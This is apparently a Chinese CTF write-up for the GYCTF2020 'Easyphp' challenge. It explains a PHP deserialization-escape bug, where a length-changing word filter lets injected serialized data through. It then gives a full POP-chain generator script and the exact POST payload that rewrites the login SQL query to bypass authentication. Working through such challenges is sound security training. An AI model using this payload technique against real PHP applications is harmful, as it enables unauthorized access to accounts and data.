[GYCTF2020]Easyphp
[GYCTF2020]Easyphp
考点
反序列化逃逸
wp
www.zip给了源码
大概的逻辑就是index.php判断有没有登录，登录就转到update.php，没有登录就转到登录页面
在登录页面获取参数，并做黑名单过滤，然后执行User::login()
preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['***'])在User::login()中连接数据库，然后用预编译的方式执行sql语句获取username和password，这里基本上封死了sql注入。如果登录成功就让$_SESSION['login']为1，然后跳转到update.php
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id) $_SESSION['login']=1;再看update.php，先判断$_SESSION['login']是否为1，不为1就**echo而不是die**。那后面的代码还可以执行啊。
然后到User::update()，先反序列化Info类再实例化UpdateHelper
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}这里获取flag的条件是$_SESSION['login']为1
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}而$_SESSION['login']为1要求成功登录，即token为admin或者账号密码正确
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;}
class dbCtrl
{
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误！');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
}从User::update()入手，它的第一行$Info=unserialize($this->getNewinfo());如下，一个典型的逃逸
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
unserialize(safe(serialize(new Info($age,$nickname))));可以利用逃逸，插入UpdateHelper类，触发它的__destruct()函数，再去触发User类的__toString()，最后触发Info类的__call()，让它执行dbCtrl::login()，这样就能够控制sql语句，实现登录了
pop链
<?php
class dbCtrl{}
$d = new dbCtrl();
$d->name = "admin";// admin这个用户名是存在的，可以试出来
$d->password = "1";// 与select语句中的密码保持一致，绕过登录
class Info{}
$c = new Info();
$c->CtrlCase = $d;
class User{}
$b = new User();
$b->nickname = $c;
$b->age = 'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
class UpdateHelper{}
$a = new UpdateHelper();
$a->sql = $b;
echo serialize($a);
// O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";}}逃逸插入pop链，不断调整*或者union的数量，让插入pop链的结果符合反序列化条件
<?php
class Info{}
$b = new Info();
$b->age = "123";
$b->nickname = '***************************************************unionunionunion";s:4:"test";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";}}';
$s = serialize($b);
echo $s."<br>";
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
echo safe($s)."<br>";
/*
O:4:"Info":2:{s:3:"age";s:3:"123";s:8:"nickname";s:324:"***************************************************unionunionunion";s:4:"test";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";}}";}
O:4:"Info":2:{s:3:"age";s:3:"123";s:8:"nickname";s:324:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:4:"test";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";}}";}
*/在update.php中POST
age=123&nickname=***************************************************unionunionunion";s:4:"test";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";}}
这会让dbCtrl::login()成功执行，把token赋值为admin。
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误！');
return false;
}
$_SESSION['token']=$this->name;再用admin加上任意密码登录即可
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